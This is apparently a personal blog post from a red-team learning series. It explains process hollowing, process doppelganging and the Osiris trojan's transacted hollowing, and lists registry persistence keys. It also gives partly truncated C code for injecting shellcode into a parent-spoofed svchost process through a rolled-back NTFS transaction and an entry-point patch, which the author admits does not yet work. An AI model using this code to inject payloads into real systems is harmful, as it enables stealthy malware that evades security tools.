Week 6

This week I continued working on the PeloponneseanWarKit and my process injection journey took me to ancient Egypt and their gods.

1. In with the new, out with the old

Last week I introduced the PeloponneseanWarKit (yes I’m sticking with that name) and talked about persistence through registry keys. This week I added 2 additional registry keys that can be used for persistence:

  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon {UserInit}
  • HKEY_CURRENT_USER\Environment {UserInitMprLogonScript}

Unfortunately I had to cut some losses in the payload department and remove the base64 encoding I introduced last week. Due to a lack of error handling payloads were incorrectly decoded and the overhead that is introduced with implementing error handling outscales the benefits for now. Payloads are still encrypted with a single byte XOR.

I have started development of a novel BOF that will use a hybrid combination of process hollowing and process doppelganging to inject a portable executable (PE) into a remote process.

2. Process Hollowing

Process Hollowing is a fairly popular and common technique to hide malicious code in a seemingly innocent process. It leverages Section Objects and Views to manipulate shared memory between 2 processes.

In my Week 2 blogpost, I went over Virtual Address Space and how this is private for processes running in User Space, and shared for system processes in Kernel Space. However, this is not completely true. Processes can share part of their Virtual Address Space with other processes through a Section Object. Section Objects are also used by processes to map a file into its address space. For example, the different DLL’s that are present in a process are mapped using a Section Object.

mapped DLLs

A Section Object by itself is just a region of memory and is invisible to a process, if a process wants to interact with the section, it needs a View. A view is essentially a window through which a process can see the section and it dictates the access rights a process has to the section. The act of creating a view for a section is known as mapping a view of the section.

When a process is started, it maps the base executable into its own memory as an image. There are different types of mappings, SEC_IMAGE indicates that the file that is being mapped is an executable image file. In the example below nslookup maps C:\Windows\System32\nslookup.exe into its own address space as an image.

mapped nslookup

The executable or image that is mapped, starts at a certain memory address also known as the image base address. In case of nslookup this address is 0x7ff7c78a0000. The image base address is stored in a structure called the Process Environment Block (PEB), along various other process parameters, data structures, global context, and so on.

The idea behind Process Hollowing, is to spawn an innocent process in a suspended state, and use its PEB to locate the image base address. The image base address is then used to “carve out” or “hollow” the process by unmapping the image from its address space. Once the base image is unmapped, it is replaced by a new malicious image. If the image base of the new image does not match the image base of the old image, it needs to be rebased. Once this is done, the EAX (RAX on x64) register of the main suspended thread is set to the entry point of the new image, after which the process is resumed and the entry point of the new image is executed.

process hollowing flow Image credits: https://blog.malwarebytes.com/threat-analysis/2018/08/process-doppelganging-meets-process-hollowing_osiris/

3. Process Doppelganging

Process Doppelganging is a technique presented at Blackhat Europe by Tal Liberman and Eugene Kogan from enSilo (now Fortinet FortiEDR).

It tries to address some of the issues Process Hollowing has, like loading a file from disk, and using highly suspicious API calls like NtUnmapViewOfSection, VirtualAllocEx and SetThreadContext. It does this by using something called Transactional NTFS. Transactions were introduced in Windows Vista and allow for write-file operations that are either guaranteed to succeed or fail completely.

A transaction is created with the NtCreateTransaction API call, this transaction is then used to open or create a clean file using CreateFileTransacted. Once the file is opened in the transaction, it is overwritten with a malicious payload using NtWriteFile and a new section is created from the transacted file (opposed to a file on disk when Process Hollowing) using NtCreateSection. With the section created and the malicious payload in memory, the file is no longer needed and is rolled back with NtRollbackTransaction. By rolling back the transaction, the file is never actually created or modified on disk, and cannot be accessed in the transaction by other processes including EDR/AV solutions.

The final step involves creating the new process and thread objects with NtCreateProcessEx and NtCreateThreadEx, creating the process parameters with RtlCreateProcessParametersEx, copying the parameters to the newly created process’s address space and resuming execution.

process doppelganging flow Image credits: https://blog.malwarebytes.com/threat-analysis/2018/08/process-doppelganging-meets-process-hollowing_osiris/

4. Osiris, god of… malware?

I was in the library on the internet the other night, in on the restricted section, and I read something rather odd, about a bit of rare magic malware. It’s called, as I understand it, a horcrux Osiris.

horcrux

Osiris is a banking trojan from the Kronos family, which implements a unique hybrid of Process Hollowing and Process Doppelganging in its loader called Transacted Hollowing, to ultimately combine the best of both worlds.

transacted hollowing flow Image credits: https://blog.malwarebytes.com/threat-analysis/2018/08/process-doppelganging-meets-process-hollowing_osiris/

Transacted Hollowing first spawns a new, innocent, suspended process from a legitimate executable. It maps a copy of the executable into its own process for later use when calculating offsets.

Next it uses transactions to create a new file containing the malicious payload, which in turn is used to create a new section, after which the transaction is rolled back.

It will then map the malicious section into the remote process as an additional module, thus not carving out and replacing the original image.

Finally the entry point of the original image is redirected and the PEB of the remote process is patched, then the process is resumed.

5. Rome wasn’t built in a day

Naturally, if a professional blackhat malware author can write something cool like this, so can I. Right? Wrong. But I tried :)

Initially I thought there would be plenty of resources out there already of people adopting this novel technique, however I came up empty handed. I went as far as obtaining source code for a related piece of malware and a sample of Osiris itself to analyze, to base my work upon. Maybe I’ve overestimated my ability a little bit this time.

1. Spawning a process and map a copy

Spawning a new suspended process is a trivial task at this point. I reused my code to enumerate running processes looking for explorer.exe and open a handle to it. This handle is used to spoof the parent process ID (PPID) of the newly spawned process.

PROCESS_INFORMATION pi = Spawn("C:\\Windows\\System32\\svchost.exe -k netsvc -p -s UserManager", GetParentHandle("explorer.exe"));

Next I’ll map a copy of svchost.exe in the current process.

//<truncated for space>
RtlInitUnicodeString(&procFileName, (PCWSTR)L"\\??\\C:\\Windows\\System32\\svchost.exe");
RtlZeroMemory(&sb, sizeof(IO_STATUS_BLOCK));
InitializeObjectAttributes(&oat, &procFileName, OBJ_CASE_INSENSITIVE, NULL, NULL);

NtOpenFile(&hFile, FILE_GENERIC_READ, &oat, &sb, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT);
//<truncated for space>
NtCreateSection(&hProcSection, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_COMMIT, hFile);
//<truncated for space>
NtMapViewOfSection(hProcSection, GetCurrentProcess(), &sectionaddr, 0, 0, NULL, &size, ViewUnmap, 0, PAGE_READONLY);

NtClose(hFile);
NtClose(hProcSection);

2. Using transactions to create a malicious section

Instead of using the high level API CreateFileTransactedW to create the transacted file, I used a combination of two low level API’s, RtlSetCurrentTransaction followed by NtCreateFile. I did a similar thing to write to the transacted file with RtlSetCurrentTransaction followed by NtWriteFile.

After the transacted file is created and the payload is written to it, I create a new section from the transacted file and rollback the transaction.

//<truncated for space>
NtCreateTransaction(&hTransaction, TRANSACTION_ALL_ACCESS, NULL, NULL, NULL, 0, 0, 0, 0, NULL);

RtlSetCurrentTransaction(hTransaction);
//<truncated for space>
RtlInitUnicodeString(&filename, (PCWSTR)L"\\??\\C:\\temp\\test.txt");

RtlZeroMemory(&osb, sizeof(IO_STATUS_BLOCK));
InitializeObjectAttributes(&oa, &filename, OBJ_CASE_INSENSITIVE, NULL, NULL);

NtCreateFile(&hFileTransacted, STANDARD_RIGHTS_WRITE | FILE_WRITE_DATA | FILE_WRITE_ATTRIBUTES | FILE_WRITE_EA | FILE_APPEND_DATA | SYNCHRONIZE | FILE_READ_DATA | FILE_READ_ATTRIBUTES, &oa, &osb, 0, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_WRITE, FILE_CREATE, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);

RtlSetCurrentTransaction(hTransaction);
//<truncated for space>
RtlZeroMemory(&iosb, sizeof(IO_STATUS_BLOCK));
NtWriteFile(hFileTransacted, NULL, NULL, NULL, &iosb, shellcode, shellcode_size, NULL, NULL);
//<truncated for space>
NtCreateSection(&hSection, SECTION_MAP_EXECUTE, NULL, 0, PAGE_READONLY, SEC_IMAGE, hFileTransacted);
NtClose(hFileTransacted);
NtRollbackTransaction(hTransaction, TRUE);
NtClose(hTransaction);

3. Mapping the section

The newly created malicious section is then mapped into the remote process. The remote image base address rBaseAddr is set to Zero, this means that the operating system will decide where to map the image.

LPVOID rBaseAddr = 0;
SIZE_T sSize = 0;
NtMapViewOfSection(hSection, pi.hProcess, &rBaseAddr, 0, shellcode_size, NULL, &sSize, ViewUnmap, 0, PAGE_EXECUTE);

4. Grabbing offsets

This is the part where it starts to get wonky. Instead of using the locally mapped section of svchost.exe, I used NtQueryInformationProcess to get the base address of the remote PEB. Next I used NtReadVirtualMemory to read the remote PEB. Once I have access to the remote PEB, I can use it to read the remote image base address of svchost.exe.

With the remote image base address, I can use NtReadVirtualMemory again to read the image headers, which in turn are used to read the remote entry point address.

PROCESS_BASIC_INFORMATION basicinfo;
ULONG bytesWritten = 0;
NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &basicinfo, sizeof(PROCESS_BASIC_INFORMATION), &bytesWritten);

PEB peb = { 0 };
SIZE_T bytesRead = 0;
NtReadVirtualMemory(pi.hProcess, basicinfo.PebBaseAddress, &peb, sizeof(PEB), &bytesRead);

DWORD64 imageBase = (DWORD64)peb.ImageBaseAddress;

BYTE headersbuffer[4096];
NtReadVirtualMemory(pi.hProcess, (LPVOID)imageBase, headersbuffer, 4096, NULL);

PIMAGE_DOS_HEADER pDosH = (PIMAGE_DOS_HEADER)headersbuffer;
PIMAGE_NT_HEADERS pNtH = (PIMAGE_NT_HEADERS)((DWORD_PTR)headersbuffer + pDosH->e_lfanew);
LPVOID rEntrypoint = (LPVOID)(imageBase + pNtH->OptionalHeader.AddressOfEntryPoint);

5. Updating the entrypoint and patching the PEB

At this stage I’m experimenting, and let’s just say my lab would have blown up multiple times by now if this was chemistry.

First I need to change the memory protection of the first 6 bytes of the remote entry point, they’re set to PAGE_EXECUTE_READ by default and I will need PAGE_READWRITE access. I could also change protections to PAGE_EXECUTE_READWRITE but having an executable and writable memory block is extremely suspicious.

After changing the protections, I construct a patch that will overwrite the remote image base address with a JMP <offset>; RET; instruction.

Opcode Instruction Description
0xE9 JMP Jump near, relative, RIP = RIP + 32-bit displacement sign extended to 64-bits
0xC3 RET Pops return address off stack, continues execution at that address

The remote entry point address is then overwritten with the patch and memory protections are restored to PAGE_EXECUTE_READ.

DWORD oldProtect;
SIZE_T bytesToChange = 6;
NtProtectVirtualMemory(pi.hProcess, &rEntrypoint, &bytesToChange, PAGE_READWRITE, &oldProtect);

char patch[6] = { 0 };
memcpy_s(patch, 1, "\xE9", 1);
DWORD jumpsize = rBaseAddr - rEntrypoint;
memcpy_s(patch + 1, 4, &jumpsize, 4);
memcpy_s(patch + 5, 1, "\xC3", 1);
bytesWritten = 0;
NtWriteVirtualMemory(pi.hProcess, rEntrypoint, patch, sizeof(patch), &bytesWritten);

DWORD oldOldProtect;
NtProtectVirtualMemory(pi.hProcess, &rEntrypoint, &bytesToChange, oldProtect, &oldOldProtect);

6. Resuming the process

Finally, the process is resumed.

NtResumeThread(pi.hThread, NULL);

6. Wrapping up

This week has been a lot of trial and error (mostly error let’s be honest) and I realize I might have made things too hard for myself. It hasn’t immediately resulted in any useful Beacon Object Files, but it did help me understand a lot more concepts and techniques. Afterall you learn most from making mistakes.

NtDelayExecution(FALSE, 604800000);